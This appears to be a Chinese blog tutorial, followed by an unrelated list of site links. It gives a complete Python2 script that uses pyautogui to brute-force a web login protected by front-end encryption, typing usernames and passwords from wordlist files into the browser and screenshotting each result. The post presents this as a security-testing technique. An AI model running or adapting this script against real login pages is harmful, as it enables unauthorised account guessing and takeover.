会python真的可以为所欲为——爆破前端加密登录
时间:2022-07-26
本文章向大家介绍会python真的可以为所欲为——爆破前端加密登录,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
做安全测试的时候经常会遇到前端登录数据包加密,又懒得去分析js看加密算法,特别一些做了混淆的,分析起来那叫一个恶心…… 逼的我又拿起了python,开始一顿操作
python真的能为所欲为
基础知识
这次要用到的是一个叫pyautogui
的库,在python2的环境下安装很简单
python -m pip install pyautogui
然后在命令行测试一下是否能引用
没毛病,接下来简单介绍一下pyautogui
简单来说,这个库可以用来模拟鼠标、键盘操作
我们要用到的有
获取当前鼠标位置
pyautogui.position()
鼠标左击
pyautogui.click(x=123, y=456)
鼠标双击(按两下左键)
pyautogui.doubleClick(x=123, y=456)
鼠标左键按下
pyautogui.mouseDown(x=123, y=456)
鼠标左键松起
pyautogui.mouseUp(x=123, y=456)
键盘写入文本
pyautogui.typewrite('http://www.baidu.comn')
# 这里的 'n'是换行,其他特殊按键请自行查找手册
截屏
pyautogui.screenshot('log/test.png')
每次操作间隔时间
pyautogui.PAUSE = 0.2 #单位 秒
差不多了,这些基本够我们用了,接下来开始造轮子
python大法好
分析一波流程 首先,我们在运行脚本的时候,肯定是命令行获取的焦点,而不是浏览器,所以第一步就需要打开浏览器,为了方便可以提前打开一个,通过点击底部任务栏来切换到浏览器
image.png
然后每次先输入地址,然后输入用户名,输入密码,点击登录按钮
输入地址,可以在浏览器地址栏右侧按下左键,然后移动到地址栏最左侧,然后再输入文本,带上'n'
就可以转到指定的页面了
输入用户名,这块可根据具体页面的文本框采用单击或双击的办法清空或选中用户名栏的文本
输入密码,同用户名
点击登录,鼠标移动到登录按钮然后左击
等待http响应后(自己根据网络速度估摸一个大致时间),截屏到指定目录
如此循环
代码如下:
#!/usr/bin/python2
import pyautogui as pag
import time
pag.PAUSE = 0.2
def clearChar(chars):
reStr = ['n','r','t',' ']
for reS in reStr:
chars = chars.replace(reS, '')
return chars
class Point:
x = 0
y = 0
def __init__(self, x, y):
self.x = x
self.y = y
def autoCrack(username, password):
global userBox
global passBox
global submitBtn
global urlBoxRight
global urlBoxLeft
global loginUrl
pag.mouseDown(urlBoxRight.x, urlBoxRight.y)
pag.mouseUp(urlBoxLeft.x, urlBoxLeft.y)
pag.typewrite(loginUrl+'n')
time.sleep(1)
pag.click(userBox.x, userBox.y)
pag.typewrite(username)
pag.click(passBox.x, passBox.y)
pag.typewrite(password)
pag.click(submitBtn.x, submitBtn.y)
time.sleep(3)
pag.screenshot('log/{}_{}.png'.format(username, password))
time.sleep(1)
if __name__ == '__main__':
# Point
chromeIcon = Point(988, 1778)
userBox = Point(2524, 600)
passBox = Point(2530, 706)
submitBtn = Point(2468, 852)
urlBoxRight = Point(2052, 74)
urlBoxLeft = Point(150, 68)
loginUrl = 'http://127.0.0.1/login.php'
userFile = 'user.txt'
passFile = 'pass.txt'
pUserFile = open(userFile, 'r')
pPassFile = open(passFile, 'r')
userList = pUserFile.readlines()
passList = pPassFile.readlines()
pUserFile.close()
pPassFile.close()
pag.click(chromeIcon.x, chromeIcon.y)
for pwd in passList:
pwd = clearChar(pwd)
for user in userList:
user = clearChar(user)
autoCrack(user, pwd)
看看实际效果
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- ES6 的内置对象扩展
- ES6相关概念及新增语法
- 支持多JDK版本下运行的Jar文件打包方式
- XFF那些事
- Nginx tcp连接反向代理配置
- [Centos 7]免密码异地备份
- smtplib bcc 密送 失败解决方案
- python sys.stdout
- 【8】进大厂必须掌握的面试题-Java面试-异常和线程
- 魔法引用函数magic_quotes_gpc和magic_quotes_runtime的区别和用法
- 在网页中动态的生成一个gif图片
- 在 Visual Basic .NET 或 JScript 代码中使用早期绑定
- 腾讯云TKE-GPU案例: TensorFlow 在TKE中的使用
- 使用pyppeteer 下载chromium 报错 或速度慢
- layui数据表格自定义每页条数limit设置